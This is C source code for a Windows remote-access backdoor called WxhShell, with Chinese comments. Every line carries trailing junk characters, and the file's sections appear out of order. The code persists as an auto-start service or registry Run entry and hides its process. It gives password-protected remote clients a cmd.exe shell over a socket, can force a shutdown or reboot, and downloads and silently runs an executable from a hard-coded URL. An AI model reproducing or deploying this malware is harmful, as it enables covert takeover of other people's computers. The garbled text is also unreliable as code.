    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gH{X?  
    if(Boot(SHUTDOWN)) ]Bp db'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RC[b+J,q  
    else { +Lq;0tRC  
    closesocket(wsh); &}TfJ=gj  
    ExitThread(0); uxbDRlOS  
    } y;0k |C   
    break; 1x\Vz\  
    } Rnl 4  
  // 获取shell HwE1cOT  
  case 's': { w|~d3]BqT  
    CmdShell(wsh); r6B\yH2  
    closesocket(wsh); fB \+.eN  
    ExitThread(0); @B<B#  
    break; --ED]S 8  
  } _h@s)"  
  // 退出 3YtFO;-  
  case 'x': { bzz{ p1e  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {nyQ]Nu"  
    CloseIt(wsh); ?, dbrQ  
    break; 6mawcK:7  
    } Je|D]w  
  // 离开 1P"akc  
  case 'q': { ?q}XD c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (-V=&F_  
    closesocket(wsh); r_sZw@lqJ  
    WSACleanup(); X >i`z  
    exit(1); |2yTt*!-r  
    break; .Yl*kG6r  
        } wm3fd 7T  
  } B3p[A k  
  } EYwDv4H,g  
Ri,8rf0u  
  // 提示信息 FZ!KZ!p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9fWr{fx  
} 0baq696<F  
  } |( %3 '"Z  
VrV* -J'  
  return; mY+.(N7m  
} QlbhQkn  
Y,v8eOo45S  
// shell模块句柄 Cm4$&?  
int CmdShell(SOCKET sock) <lk_]+ XJ3  
{ *{5L*\AZ  
STARTUPINFO si; fk(l.A$  
ZeroMemory(&si,sizeof(si)); /o<tmK_m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (7P{k<5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^k&T?uU  
PROCESS_INFORMATION ProcessInfo; !Ua74C  
char cmdline[]="cmd"; V^qZ~US  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B3 mD0   
  return 0; 6B4s6  
} |"[[.Adw9"  
SE0"25\_G  
// 自身启动模式 !}sYPz]7!  
int StartFromService(void) R5QSf+/T4  
{ 0:(`t~  
typedef struct st;.Po[h  
{ D`r^2(WW  
  DWORD ExitStatus; >$gWeFu  
  DWORD PebBaseAddress; %ZV a{Nc  
  DWORD AffinityMask; G0sg\]  
  DWORD BasePriority; @@U'I^iG  
  ULONG UniqueProcessId; E' p5  
  ULONG InheritedFromUniqueProcessId; >+v)^7c  
}   PROCESS_BASIC_INFORMATION; ^s@?\v  
PVAs# ~  
PROCNTQSIP NtQueryInformationProcess; ]xf lfZ  
4m%RD&ZN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'bP-p gc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `sZ/'R6  
>@b7 0X!J]  
  HANDLE             hProcess; ziuhS4k  
  PROCESS_BASIC_INFORMATION pbi; {nH.  _  
)Cuc ]>SC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6 &% c  
  if(NULL == hInst ) return 0; ^>?gFvWB%  
U8?%Dq%i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CtbmX)vE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xbex6i"ZE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $'}:nwq6x  
w'q}aQS  
  if (!NtQueryInformationProcess) return 0; 6MfjB@  
I71kFtvcy*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YQ>M&lnQ<  
  if(!hProcess) return 0; A7.$soI\  
M*)}F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pCSR^ua>  
9:^SnHAa  
  CloseHandle(hProcess); V0mWY!i  
H*_:IfI!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mDmy637_  
if(hProcess==NULL) return 0; ,HXY|fYr  
PTe8,cD>  
HMODULE hMod; sygAEL;.  
char procName[255]; A{Giz&p  
unsigned long cbNeeded; 1F'j .1  
Xj.Tg1^K"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |$`LsA.  
s OD>mc#%Y  
  CloseHandle(hProcess); ![os5H.b#q  
l]whL1N3  
if(strstr(procName,"services")) return 1; // 以服务启动 ^9eJ)12pK  
 +Io^U  
  return 0; // 注册表启动 lz X0B&:  
} @bdGV#* d  
>\hu1C|W  
// 主模块 |`9POl=  
int StartWxhshell(LPSTR lpCmdLine) XW6Ewrm=vT  
{ "Ko ^m(`  
  SOCKET wsl; ev>gh0  
BOOL val=TRUE; 5haJPWG|'  
  int port=0; EzK,SN#  
  struct sockaddr_in door; w">XI)*z  
6sb,*uSn%  
  if(wscfg.ws_autoins) Install(); oDul ?%  
#KZ6S9>@  
port=atoi(lpCmdLine); y5>859"h  
XA} !  
if(port<=0) port=wscfg.ws_port; O3#4B!J$E  
*M;!{)m?  
  WSADATA data; G"0YCi#I|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fB[I1Z  
F+R4nFA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zN JK+_O=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zYfn;s%A  
  door.sin_family = AF_INET; xn(lkQ6Fm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]O s!=rt  
  door.sin_port = htons(port); g7@G&Ro9J\  
17[7)M88  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sf[ZGY)  
closesocket(wsl); $O,$KAC  
return 1; R[5*]$(b  
} Pq`]^^=be'  
u|ia  
  if(listen(wsl,2) == INVALID_SOCKET) { ^2OBc  
closesocket(wsl); z c N1i^   
return 1; p=jD "lq  
} 2'tZ9mK  
  Wxhshell(wsl); iZGc'y  
  WSACleanup(); &Cp)\`[y  
|XOD~Plo^  
return 0; 'E+Ty(ED5  
\;&9h1?Mn  
} y/rmxQtP  
roYoxF;\  
// 以NT服务方式启动 )~;=0O |X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Epsc2TuH7  
{ m&jh7)V  
DWORD   status = 0; &'9 Jy'(X  
  DWORD   specificError = 0xfffffff; `s(T (l  
/>_Mz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MrEyN8X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xJrRJwL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6-U|e|e  
  serviceStatus.dwWin32ExitCode     = 0; si,fs%D&  
  serviceStatus.dwServiceSpecificExitCode = 0; p't>'?UH|  
  serviceStatus.dwCheckPoint       = 0; {tMpI\>S  
  serviceStatus.dwWaitHint       = 0; wQJY,|.  
54s+4R FL  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5an#,vCn{  
  if (hServiceStatusHandle==0) return; o:jLM7$=  
=8[4gM+  
status = GetLastError(); vs;T}' O  
  if (status!=NO_ERROR) fgYdKv8  
{ hu.c&Q>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '0D2e  
    serviceStatus.dwCheckPoint       = 0; udM<jY]5p  
    serviceStatus.dwWaitHint       = 0; .^8 x>~  
    serviceStatus.dwWin32ExitCode     = status; vBAds  
    serviceStatus.dwServiceSpecificExitCode = specificError; B'>(kZYMs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0TK+R43_  
    return; j+NOT`&  
  } .t|vwx  
IT]D;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p*E_Po  
  serviceStatus.dwCheckPoint       = 0; |&lAt \  
  serviceStatus.dwWaitHint       = 0; )3PQ|r'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4.2qt  
} `J \1t K{  
<&E3QeK  
// 处理NT服务事件,比如:启动、停止 DZKVZ_q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0G?0 Bo  
{ >7. $=y8b  
switch(fdwControl) 0@z=0}0Z  
{ Rf2$k/lZ  
case SERVICE_CONTROL_STOP: v`evuJ\3  
  serviceStatus.dwWin32ExitCode = 0; R4v)}`x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &*iar+vr  
  serviceStatus.dwCheckPoint   = 0; ';4DUh p  
  serviceStatus.dwWaitHint     = 0; E8#RG-ci  
  { :J` *@cDn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4HEp}Y"}V  
  } FC+K2Yf1=0  
  return; I_N(e|s\U  
case SERVICE_CONTROL_PAUSE: i{TErJ{}e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u6h"=l {  
  break; /Hb'3,jN  
case SERVICE_CONTROL_CONTINUE: ZOvMA]Rf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n}X)a-=  
  break; 7bOL,S  
case SERVICE_CONTROL_INTERROGATE: pv8"E?9,k  
  break; 9Y&,dBj+  
}; ) '"@ L7U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m:A 7*r[  
} ,y@` =  
; =.VKW%U  
// 标准应用程序主函数 <kIg>+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IBm&a^  
{ qV0C2jZ2  
l1On .s  
// 获取操作系统版本 fXCx!3m  
OsIsNt=GetOsVer(); /~*U'.V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2ijw g~_@  
j4RM'_*G  
  // 从命令行安装 }<`Mn34@  
  if(strpbrk(lpCmdLine,"iI")) Install(); ];bB7+  
yEL^Y'x?  
  // 下载执行文件 z 17  
if(wscfg.ws_downexe) { Ga0= G&/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #|`/K[.xd%  
  WinExec(wscfg.ws_filenam,SW_HIDE); jz(}P8  
} i9fK`:)  
'V=w?G 5  
if(!OsIsNt) { v{9< ATi  
// 如果时win9x,隐藏进程并且设置为注册表启动 k r2V  
HideProc(); XmN3[j  
StartWxhshell(lpCmdLine); 6KP"F[8I  
} AU@K5jwDwQ  
else TUzpln  
  if(StartFromService()) v`8dRVN  
  // 以服务方式启动 c!"&E\F  
  StartServiceCtrlDispatcher(DispatchTable); GW a_^  
else =B O} hk  
  // 普通方式启动 &z;F'>"  
  StartWxhshell(lpCmdLine); is_`UDaB  
Z=`\U?,  
return 0; $FUWB6M  
} 7Wub@Mp  
KA1Z{7UK%  
r J'm>&Ps  
,W"Q)cL  
=========================================== H^P uC (  
1MV\Jm  
gf2<dEff  
b6BeOR*ps  
QU0K'4Yx5j  
:=x-b3U  
" PK^{WF}L;  
%Z?2 .)  
#include <stdio.h> l?E7'OEF:  
#include <string.h> g@]G [(  
#include <windows.h> .r!:` 6  
#include <winsock2.h> 2lPj%i 5  
#include <winsvc.h> `h+ia/  
#include <urlmon.h> qXO@FW]  
$8#zPJR&  
#pragma comment (lib, "Ws2_32.lib") Ht#5;c2/  
#pragma comment (lib, "urlmon.lib") pcIJija:  
6u^M fOc  
#define MAX_USER   100 // 最大客户端连接数 @mM'V5_#  
#define BUF_SOCK   200 // sock buffer gE8p**LT+  
#define KEY_BUFF   255 // 输入 buffer ><9E^ k0.  
w]Z*"B&h  
#define REBOOT     0   // 重启 .} <$2.  
#define SHUTDOWN   1   // 关机 XUeBK/aQ{  
Dl hb'*@  
#define DEF_PORT   5000 // 监听端口 F.ml]k&(m  
8+m;zvDSU  
#define REG_LEN     16   // 注册表键长度 *ZP$dQ  
#define SVC_LEN     80   // NT服务名长度 @#[<5ld  
q]+'{Ci@  
// 从dll定义API |~vo  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _r0[ z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *cn,[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vL~nJv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Oi# F  
G/T oiUY  
// wxhshell配置信息 4kZX$ct}  
struct WSCFG { +$R4'{9q  
  int ws_port;         // 监听端口 W ]cJP  
  char ws_passstr[REG_LEN]; // 口令 _ S%3?Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no D.?Rc'y D  
  char ws_regname[REG_LEN]; // 注册表键名 $OMTk  
  char ws_svcname[REG_LEN]; // 服务名 Tvf%'%h1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pj?wQ'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K~Lh'6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QV/ o;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j?sq i9#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E _d^&{j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -m*IpDi  
YB{hQ<W  
}; b z3 &  
n<47#-  
// default Wxhshell configuration 3dm lP2  
struct WSCFG wscfg={DEF_PORT, t.'|[pOV  
    "xuhuanlingzhe", #;ez MRKM"  
    1, }!{9tc$<b  
    "Wxhshell", wWV`k  
    "Wxhshell", PMPB}-d  
            "WxhShell Service", *`D(drnT{  
    "Wrsky Windows CmdShell Service", 5&V0(LT]C  
    "Please Input Your Password: ", 3 D<s #  
  1, f4F13n_0X  
  "http://www.wrsky.com/wxhshell.exe", J+oK:tzt8  
  "Wxhshell.exe" owYf1=G  
    }; WN8XiV  
6`(x)Q9  
// 消息定义模块 a(>oQG8F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4LY kK/:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;{@ [ek6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Hrb67a%b  
char *msg_ws_ext="\n\rExit."; ,CACQhrng  
char *msg_ws_end="\n\rQuit."; @&!`.Y oy  
char *msg_ws_boot="\n\rReboot..."; <)01]lKH  
char *msg_ws_poff="\n\rShutdown..."; >jI( ^8?  
char *msg_ws_down="\n\rSave to "; Bn>"lDf,  
ux-puG  
char *msg_ws_err="\n\rErr!"; AWkXW l}  
char *msg_ws_ok="\n\rOK!"; VKUoVOFvPR  
9I3vW]0x[  
char ExeFile[MAX_PATH]; y U"pU>fV@  
int nUser = 0; 9X<o8^V  
HANDLE handles[MAX_USER]; $Pw@EC]  
int OsIsNt; 7R W5U'B  
,khB*h14;h  
SERVICE_STATUS       serviceStatus; |l5ol @2*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; l)@Zuh  
')]K&  
// 函数声明 3q +C8_:  
int Install(void); Rw8l"`  
int Uninstall(void); b5r.N1ms  
int DownloadFile(char *sURL, SOCKET wsh); ~loJYq'y  
int Boot(int flag); )tc"4lp -  
void HideProc(void); (J!FW(Ma|=  
int GetOsVer(void); /F#_~9JXG  
int Wxhshell(SOCKET wsl); $#|iKi<Y@j  
void TalkWithClient(void *cs); /]pBcb|<  
int CmdShell(SOCKET sock); D|zlC,J,  
int StartFromService(void); Ur^~fW1 o  
int StartWxhshell(LPSTR lpCmdLine); >kK!/#ZA  
QuEfV?)_4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k 4|*t}o7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k [6%+  
!nX}\lw  
// 数据结构和表定义 3awh>1N2 W  
SERVICE_TABLE_ENTRY DispatchTable[] = cL/ 6p0S  
{ !VNLjbee.  
{wscfg.ws_svcname, NTServiceMain}, j+B+>r ^  
{NULL, NULL} H"~]|@g-p  
}; BK,h$z7#6  
^.']-XjC  
// 自我安装 '3B\I#  
int Install(void) mM*jdm(!  
{ <Uz~V;  
  char svExeFile[MAX_PATH]; iR k.t=B  
  HKEY key; 2?=R_&0 Q  
  strcpy(svExeFile,ExeFile); J$Huzs#  
y]1:IJL2;  
// 如果是win9x系统,修改注册表设为自启动 \2$-.npz  
if(!OsIsNt) { ^Rgm3?7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Xu^ cbD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [=Qv?am  
  RegCloseKey(key); *RM?SE6;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _,S L;*G4|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j,7NLb9M  
  RegCloseKey(key); #. mc+n:I  
  return 0; M]\p9p(_  
    } HH_w!_f  
  }  ;'^5$q  
} \\<waU''  
else { 5f.G^A: _X  
41\r7 BS  
// 如果是NT以上系统,安装为系统服务 z^tws*u],5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;QMRm<CLV  
if (schSCManager!=0) xLUgbql-  
{ x2@Q5|a  
  SC_HANDLE schService = CreateService RPb/U8  
  ( |~QHCg<  
  schSCManager, ql Z()  
  wscfg.ws_svcname, f-Yp`lnn.d  
  wscfg.ws_svcdisp, /^#8z(@B  
  SERVICE_ALL_ACCESS, fpj,~+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e1*<9&S  
  SERVICE_AUTO_START, L;wfTZa  
  SERVICE_ERROR_NORMAL, P=Au~2X  
  svExeFile, T6 K?Xr{_  
  NULL, :o!bz>T  
  NULL, BQ&G7V  
  NULL, .f+ul@o  
  NULL, ~d+.w%Z `  
  NULL yJ(BPSt  
  ); Tt,<@U[/}  
  if (schService!=0) x3X^\ Ig  
  { L^}i7nJ  
  CloseServiceHandle(schService); ROWb:tX}  
  CloseServiceHandle(schSCManager); w!~%v #  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7/p&]0w  
  strcat(svExeFile,wscfg.ws_svcname); @-uV6X8|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zF+NS]XK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fpz)@0K;  
  RegCloseKey(key); ".n,R"EF  
  return 0; fpCkT[&m  
    } *'b3Z3c,;  
  } j3<|X  
  CloseServiceHandle(schSCManager); W u4` 3  
} @S69u s}  
} QKj8~l(  
?*2DR:o>@  
return 1; 9qhX\, h  
} |sQC:y>  
3~Qvp )~  
// 自我卸载 J>H$4t#HX  
int Uninstall(void) jm|x=s3}h  
{ u@( z(P  
  HKEY key; ck=x_HB1  
p};B*[ki  
if(!OsIsNt) { wi7a_^{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 03]   
  RegDeleteValue(key,wscfg.ws_regname); r2KfZ>tWg"  
  RegCloseKey(key); [M:ag_rm+f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d0@&2hO  
  RegDeleteValue(key,wscfg.ws_regname); MfX1&/Z+  
  RegCloseKey(key); 9Ai e$=  
  return 0; `v]|x,l+C  
  } (?9@nS  
} 9VEx0mkdd  
} ,BUDo9h  
else { +[ +4h}?  
 3M5+!H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *]L(,_:"  
if (schSCManager!=0) F&ud|X=m  
{ qDMVZb-(#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 75u5zD   
  if (schService!=0) [8-. T4  
  { ;zMZ+GZ?;+  
  if(DeleteService(schService)!=0) { 1@xmzTC  
  CloseServiceHandle(schService); 8uj;RG  
  CloseServiceHandle(schSCManager); R2]2#3`  
  return 0; ~1_v;LhH5+  
  }  b7]MpL  
  CloseServiceHandle(schService); |)"`v'8>  
  } Gr1WBYK  
  CloseServiceHandle(schSCManager); _$&C$q$1y  
} 8'niew 5d  
} I$rnW  
V30Om3C  
return 1; 1MntTIT  
} I}?+>cf  
+prr~vgE  
// 从指定url下载文件 -y@# ^SrJ  
int DownloadFile(char *sURL, SOCKET wsh) 2H h5gD|>  
{ .(RX;.lw  
  HRESULT hr; Ne 2tfiI`  
char seps[]= "/"; X9|={ng)g#  
char *token; B+8lp4V9%  
char *file; K\bA[5+N  
char myURL[MAX_PATH]; yvQRr75  
char myFILE[MAX_PATH]; !>n^ ;u  
OoG Nij  
strcpy(myURL,sURL); y4j J&  
  token=strtok(myURL,seps); /o$C=fDF  
  while(token!=NULL) J )*7JX  
  { m2i'$^a#  
    file=token; e-4 Qw #cw  
  token=strtok(NULL,seps); nIckI!U#D  
  } EF Z]|Z7  
/t4#-vz  
GetCurrentDirectory(MAX_PATH,myFILE); bu}N{cW  
strcat(myFILE, "\\"); oqXs2F  
strcat(myFILE, file); V|v KYEFry  
  send(wsh,myFILE,strlen(myFILE),0); +*'^T)sj/  
send(wsh,"...",3,0); GL S`1!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bhqV2y*'  
  if(hr==S_OK) 53g(:eB  
return 0; ./Y5Vk#Rp\  
else R6xJw2;_  
return 1; h;+bHrKji  
p7Q}xx  
} km 0LLYG  
MBjo9P(  
// 系统电源模块 E1"H( m&6  
int Boot(int flag) eeOE\  
{ vrGx<0$  
  HANDLE hToken; OYbgt4  
  TOKEN_PRIVILEGES tkp; ZcP/rT3{^  
(^U 8wit/  
  if(OsIsNt) { 4^OPzg6Z%p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cBGR%w\t%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z(~v{c %<  
    tkp.PrivilegeCount = 1; ?'jRUfl   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; JSCZX:5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,`su0P\%#.  
if(flag==REBOOT) { `P(Otr[6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) UHaY|I${U  
  return 0; gO9\pI 2  
} saPg2N,  
else { V1d{E 0lM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v}>5!*  
  return 0; axpn*(yE  
} r;~2NxMF/  
  } u/,ng&!  
  else { d[t+iBP;)  
if(flag==REBOOT) { Z~s"=kF,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P c'0.4  
  return 0; LQr+)wI  
} !#b8QER  
else { ;_TPJy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IW~q,X+`V  
  return 0; v ?OIK=Xm  
} c]OK)i-{l  
} &% infPI'  
?T (@<T  
return 1; :krdG%r  
} 2Jl$/W 3  
HUuZ7jJwf  
// win9x进程隐藏模块 `%5~>vPS  
void HideProc(void) )e|n7|} $  
{ &>KZ4%&?  
Y`tv"v2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]NRQM8\  
  if ( hKernel != NULL ) =]Vrl-a`^  
  { 920 o]Dh=t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `;\<Fr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); kbR!iPM-;  
    FreeLibrary(hKernel); J;mvD^`g  
  } 0DR:qw  
(vXes.|+t  
return; V9SkB3-'  
} N Dg*8i  
FKVf_Ncf%  
// 获取操作系统版本 cCWk^lF],  
int GetOsVer(void) ' Akt5q  
{ <aVfgVS  
  OSVERSIONINFO winfo; jeLC)lQ*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +j">Ju6Q;.  
  GetVersionEx(&winfo); Lfj]Y~*z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Rv^ \o  
  return 1; $Lf-Gi  
  else p>#QFd"m  
  return 0; Ac,Qj`'V  
} Ga9^+.j  
-$0w-M8'  
// 客户端句柄模块 NMCMY<o  
int Wxhshell(SOCKET wsl) |OVD*A  
{ Pd^v-}[  
  SOCKET wsh; jy kY8;4  
  struct sockaddr_in client; "^3pP(8;~  
  DWORD myID; +. `  I  
ex}6(;7)O  
  while(nUser<MAX_USER) 7z@Jw  
{ CdFr YL+F  
  int nSize=sizeof(client); k NnI$(H"H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `& rt>Bk /  
  if(wsh==INVALID_SOCKET) return 1; b+DBz}L4  
>kN%R8*Sx  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3ug-cq  
if(handles[nUser]==0) CKau\N7T  
  closesocket(wsh); <:gNx%R  
else Gi9s*v,s  
  nUser++; UrhSX!g/A>  
  } #383W)n  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); qL 0{w7  
k#Bq8d  
  return 0; \A'tV/YAd  
} }-8ZSWog6f  
#y4+O;{  
// 关闭 socket A@I( &Z  
void CloseIt(SOCKET wsh) 6k%Lc4W  
{ 4a6WQVS  
closesocket(wsh); ^vQ,t*Uj=  
nUser--; fkjo  
ExitThread(0); DGY?4r7>y  
} {G^f/%  
q8 _8rp-@  
// 客户端请求句柄 )?zlhsu}1;  
void TalkWithClient(void *cs) ]= EYju@  
{ iXJ3B&x  
tXWh q  
  SOCKET wsh=(SOCKET)cs; O 6}eV^y  
  char pwd[SVC_LEN]; oTjsiXS  
  char cmd[KEY_BUFF]; ja_.{Zv  
char chr[1]; p+pBk$4  
int i,j; |[lmW%  
" F3M  m  
  while (nUser < MAX_USER) { / ~\ I  
{*jo,<4ee  
if(wscfg.ws_passstr) { ]@rt/ eX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qv`Lc]'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F4|Z:e,Hr  
  //ZeroMemory(pwd,KEY_BUFF); ZNX=]]HM<n  
      i=0; TODTR7yGo  
  while(i<SVC_LEN) { #@cOyxUt  
dQkp &.  
  // 设置超时 ys#V_ysb  
  fd_set FdRead; f'>270pH  
  struct timeval TimeOut; l)^sE)  
  FD_ZERO(&FdRead); h jCkj(b  
  FD_SET(wsh,&FdRead); [IgB78_$  
  TimeOut.tv_sec=8; |sIr}}  
  TimeOut.tv_usec=0; ff3HR+%M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MMYV8;c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i4XE26B;e  
MS~|F^g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p!wx10b  
  pwd=chr[0]; -3)]IA  
  if(chr[0]==0xd || chr[0]==0xa) { d>f.p"B.gj  
  pwd=0; ?;dfA/  
  break; M'"@l $[QM  
  } n=+K$R  
  i++; PU\?eA  
    } 2Kg+SLU[~  
UDUj  
  // 如果是非法用户,关闭 socket :nPLQqXGQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 42Vz6 k:  
} *co=<g]4KY  
Zc<fopih  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n:#gKR-J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \>%.ktG  
F.%g_Xvk:  
while(1) { c2aW4 TX2  
 >>nt3q  
  ZeroMemory(cmd,KEY_BUFF); rpZ^R}B%*v  
m/`"~@}&  
      // 自动支持客户端 telnet标准   ]sbj8  
  j=0; \en}8r9cy  
  while(j<KEY_BUFF) { s?JNc4q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M2.Pf s  
  cmd[j]=chr[0]; IQ`#M~:  
  if(chr[0]==0xa || chr[0]==0xd) { +$b_,s  
  cmd[j]=0; 8!T6N2O6d  
  break; -b7q)%V  
  } *u|bmt  
  j++; uzA_Zjx  
    } O'OVj  
k$u/6lw]IB  
  // 下载文件 xXJl Qbs  
  if(strstr(cmd,"http://")) { 9AxeA2/X  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F_?aoP&5  
  if(DownloadFile(cmd,wsh)) _,U`Iq+X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Buue][[  
  else LWpM-eW1q  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i r-= @@  
